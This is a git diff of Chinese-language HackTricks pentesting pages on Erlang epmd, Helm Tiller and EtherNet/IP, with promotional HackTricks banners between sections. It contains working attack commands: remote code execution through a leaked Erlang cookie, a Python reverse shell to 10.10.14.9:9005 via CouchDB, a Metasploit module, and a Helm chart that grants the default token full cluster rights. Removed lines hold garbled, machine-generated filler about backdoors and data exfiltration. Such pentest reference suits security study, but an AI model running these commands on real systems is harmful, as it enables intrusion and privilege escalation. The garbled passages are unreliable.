- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
Erlang端口映射守护程序用于协调分布式Erlang实例。它的工作是**跟踪哪个节点名称监听哪个地址**。因此epmd将符号节点名称映射到机器地址。
erlang端口映射守护进程用于协调分布式erlang实例。它的工作是**跟踪哪个节点名称监听哪个地址**。因此epmd将符号节点名称映射到机器地址。
**默认端口**4369
```
@ -28,7 +26,7 @@ PORT STATE SERVICE VERSION
# 枚举
## 手动枚举
## 手动
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
@ -38,9 +36,7 @@ apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## 自动化
The process of automating tasks is a crucial aspect of efficient and effective hacking. By automating repetitive tasks, hackers can save time and increase productivity. There are various tools and scripts available that can be used to automate different aspects of the hacking process. These tools can be used to scan for vulnerabilities, exploit them, gather information, and perform other tasks. Automating tasks not only saves time but also reduces the chances of human error. It allows hackers to focus on more complex and critical aspects of the hacking process.
## 自动
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
@ -59,7 +55,7 @@ PORT STATE SERVICE VERSION
## 远程连接
如果你能够**泄露认证cookie**你将能够在主机上执行代码。通常这个cookie位于`~/.erlang.cookie`中并且在erlang第一次启动时由erlang生成。如果没有修改或手动设置它是一个长度为20个字符的随机字符串\[A:Z]。
如果您能够**泄露认证 cookie**,您将能够在主机上执行代码。通常,这个 cookie 位于 `~/.erlang.cookie`,并且在 erlang 首次启动时生成。如果没有被修改或手动设置它是一个长度为20个字符的随机字符串 \[A:Z]。
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -71,22 +67,22 @@ At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
更多信息请参考[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
作者还分享了一个用于暴力破解cookie的程序
更多信息请见 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)
作者还分享了一个暴力破解cookie的程序
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## 本地连接
在这种情况下,我们将滥用CouchDB以在本地提升权限:
在这种情况下,我们将利用CouchDB在本地提升权限:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)中获取的示例\
您可以使用**Canape HTB机器**来**练习**如何**利用此漏洞**
示例取自[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
您可以使用 **Canape HTB 机器来** **练习** 如何 **利用这个漏洞**
## Metasploit
```bash
@ -100,16 +96,14 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击请查看</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,33 +1,30 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
Helm是Kubernetes的**包管理器**。它允许将YAML文件打包并分发到公共和私有仓库中。这些包被称为**Helm Charts**。**Tiller**是默认运行在端口44134上的**服务**
Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为**Helm图表**。**Tiller**是默认在端口44134**运行**的**服务**,提供服务
**默认端口:** 44134
**默认端口:**44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# 枚举
如果你可以**枚举不同命名空间的Pod和/或服务**,请枚举它们并搜索名称中带有**"tiller"**的实例
如果您能够**枚举不同命名空间的 pods 和/或服务**,请枚举它们,并搜索名称中含有 **"tiller"** 的服务
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -36,67 +33,38 @@ kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Examples:
```markdown
# 渗透测试 Tiller (Helm 的服务器端组件)
## Reconnaissance
Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。
### Enumerate Tiller Service
## 发现 Tiller
To start the reconnaissance phase, we need to identify if the Tiller service is running on the target system. We can use the following command to check if the Tiller service is listening on the default port 44134:
要发现集群中的 Tiller 服务,可以使用以下命令:
```bash
nmap -p 44134 <target_ip>
```
kubectl --namespace kube-system get pods | grep tiller
```
If the Tiller service is running, we will see an open port 44134 in the scan results.
这将列出 kube-system 命名空间中的所有 Tiller pod。
### Enumerate Tiller Releases
## 利用 Tiller
Once we have confirmed that the Tiller service is running, we can enumerate the available releases using the following command:
如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景:
```bash
helm list
- **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。
- **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。
## 修复建议
为了保护 Tiller 服务,应该采取以下措施:
- 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。
- 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。
- 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。
通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。
```
This command will display a list of all the releases managed by Tiller, along with their status, version, and other relevant information.
## Exploitation
### Exploit Tiller Service
If we have identified a vulnerable version of Tiller, we can exploit it to gain unauthorized access to the target system. One common vulnerability is the lack of authentication and authorization in older versions of Tiller.
To exploit this vulnerability, we can use the following command to establish a connection to the Tiller service:
```bash
helm init --client-only
```
This command will initialize the Helm client and establish a connection to the Tiller service. Once connected, we can use other Helm commands to interact with the target system.
### Exploit Tiller Releases
If we have identified a vulnerable release managed by Tiller, we can exploit it to gain unauthorized access to the target system. This can be done by leveraging known vulnerabilities in the specific release or misconfigurations in the deployment.
To exploit a vulnerable release, we need to first identify the specific version and any associated vulnerabilities. Once we have this information, we can use various techniques such as exploiting known vulnerabilities, privilege escalation, or lateral movement to gain unauthorized access.
## Post-Exploitation
### Maintain Access
After gaining unauthorized access to the target system, it is important to maintain access for future exploitation or data exfiltration. This can be achieved by creating a backdoor or establishing persistence mechanisms.
To maintain access, we can use techniques such as creating a new user account, modifying existing user accounts, or installing a remote access tool. These techniques will allow us to regain access to the target system even if our initial access is discovered and removed.
### Data Exfiltration
Once we have gained unauthorized access to the target system, we may want to exfiltrate sensitive data for further analysis or exploitation. This can be done by copying files, extracting databases, or using network protocols to transfer data to an external server.
To exfiltrate data, we need to identify the location of the sensitive data and the appropriate method for extraction. It is important to be cautious and minimize the impact on the target system to avoid detection.
## Conclusion
In this chapter, we have explored various techniques for pentesting Tiller and Helm. By performing reconnaissance, exploiting vulnerabilities, and maintaining access, we can gain unauthorized access to the target system and exfiltrate sensitive data. It is important to always follow ethical guidelines and obtain proper authorization before conducting any pentesting activities.
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
@ -108,40 +76,38 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
您还可以尝试通过检查端口44134来查找该服务是否正在运行:
您还可以尝试检查端口44134来查找此服务是否正在运行:
```bash
sudo nmap -sS -p 44134 <IP>
```
一旦你发现了它你可以通过下载客户端helm应用程序与之通信。你可以使用像`homebrew`这样的工具,或者查看[**官方发布页面**](https://github.com/helm/helm/releases)**。**有关更多详细信息或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using\_helm/#installing-helm)。
一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。** 更多详情,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using_helm/#installing-helm)。
然后,可以**枚举服务**
然后,可以**枚举服务**
```
helm --host tiller-deploy.kube-system:44134 version
```
##
## 权限提升
默认情况下,**Helm2**以**高权限**安装在**kube-system**命名空间中,因此如果您找到该服务并且可以访问它,这将允许您**提升权限**。
默认情况下,**Helm2** 安装在具有**高权限**的 **namespace kube-system** 中,所以如果你找到了该服务并且能够访问它,这可能允许你**提升权限**。
您只需要安装一个类似于这个的软件包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),它将使**默认服务令牌可以访问整个集群中的所有内容**。
你需要做的就是安装像这样的包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),它将给予**默认服务令牌访问整个集群中的所有内容。**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中你可以找到**攻击的解释**但基本上如果你阅读_helm-tiller-pwn/pwnchart/templates/_目录下的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你会看到**所有权限都被授予了默认令牌**。
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中你可以找到**攻击的解释**但基本上如果你阅读_helm-tiller-pwn/pwnchart/templates/_的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你可以看到**所有权限都被赋予了默认token**。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>

View file

@ -1,89 +1,37 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在**HackTricks上看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>
# **协议信息**
来自EtherNet/IP的维基百科文章[http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP)
来自Wikipedia关于EtherNet/IP的文章 [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP)
> EtherNet/IP是在20世纪90年代末由Rockwell Automation开发的作为Rockwell工业以太网网络解决方案的一部分。Rockwell给EtherNet/IP起了这个名字并将其交给了ODVA现在ODVA管理该协议并通过要求新开发的使用该协议的产品遵守已建立的标准来确保多供应商系统的互操作性。
> EtherNet/IP是由罗克韦尔自动化在20世纪90年代末开发的作为罗克韦尔工业以太网解决方案的一部分。罗克韦尔给EtherNet/IP命名并将其移交给ODVAODVA现在管理该协议并通过要求新开发的使用该协议的产品遵守既定标准来确保多厂商系统的互操作性。
> EtherNet/IP最常用于工业自动化控制系统例如水处理厂、制造工厂和公用事业。几家控制系统供应商已经开发了可通过EtherNet/IP进行通信的可编程自动化控制器和I/O。
> EtherNet/IP最常用于工业自动化控制系统例如水处理厂、制造设施和公用事业。几家控制系统供应商已经开发了能够通过EtherNet/IP通信的可编程自动化控制器和I/O。
通过使用列表标识消息0x63查询TCP/44818来正确定位EtherNet/IP设备。响应消息将确定它是否是EtherNet/IP设备并解析信息以枚举设备。\
通过查询TCP/44818并发送一个列出身份消息(0x63),可以准确识别一个EtherNet/IP设备。响应消息将确定它是否是一个EtherNet/IP设备并解析信息以枚举设备。\
来自[这里](https://github.com/digitalbond/Redpoint)
**默认端口:** 44818 UDP/TCP
```
```
PORT STATE SERVICE
44818/tcp open EtherNet/IP
```
# **枚举**
Enumeration is the process of gathering information about a target network or system. In the context of Ethernet/IP, enumeration involves identifying and discovering devices, services, and configurations within the network.
枚举是收集有关目标网络或系统的信息的过程。在以太网/IP的上下文中枚举涉及识别和发现网络中的设备、服务和配置。
## **Scanning for Ethernet/IP Devices**
## **扫描以太网/IP设备**
To scan for Ethernet/IP devices, you can use tools like Nmap or specialized tools like `enum4linux`. These tools can help you identify devices that are using the Ethernet/IP protocol.
要扫描以太网/IP设备可以使用Nmap等工具或者专门的工具如`enum4linux`。这些工具可以帮助您识别使用以太网/IP协议的设备。
Here is an example of using Nmap to scan for Ethernet/IP devices:
以下是使用Nmap扫描以太网/IP设备的示例
```plaintext
nmap -p 44818 --script=ethernet-ip-enumeration <target>
```
## **Identifying Ethernet/IP Services**
## **识别以太网/IP服务**
Once you have identified Ethernet/IP devices, the next step is to identify the services running on these devices. This can be done using tools like `enum4linux` or by manually inspecting the network traffic.
一旦您识别出以太网/IP设备下一步是识别这些设备上运行的服务。可以使用`enum4linux`等工具,也可以通过手动检查网络流量来完成。
## **Enumerating Ethernet/IP Configurations**
## **枚举以太网/IP配置**
To enumerate Ethernet/IP configurations, you can use tools like `enum4linux` or `nmap`. These tools can help you gather information about the network topology, device configurations, and other relevant details.
要枚举以太网/IP配置可以使用`enum4linux`或`nmap`等工具。这些工具可以帮助您收集有关网络拓扑、设备配置和其他相关详细信息的信息。
## **Exploiting Ethernet/IP Vulnerabilities**
## **利用以太网/IP漏洞**
Once you have gathered enough information about the Ethernet/IP network, you can proceed to exploit any vulnerabilities that you have discovered. This may involve using tools like Metasploit or developing custom exploits.
一旦您收集到足够的以太网/IP网络信息可以继续利用您发现的任何漏洞。这可能涉及使用Metasploit等工具或开发自定义的利用工具。
## **Conclusion**
## **结论**
Enumeration is a crucial step in the process of network penetration testing. By identifying and gathering information about Ethernet/IP devices, services, and configurations, you can gain valuable insights that can be used to exploit vulnerabilities and secure the network.
枚举是网络渗透测试过程中的关键步骤。通过识别和收集有关以太网/IP设备、服务和配置的信息您可以获得有价值的见解这些见解可以用于利用漏洞和保护网络的安全。
```bash
nmap -n -sV --script enip-info -p 44818 <IP>
pip3 install cpppo
@ -91,21 +39,18 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
```
# Shodan
* `port:44818 "产品名称"`
* `port:44818 "product name"`
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
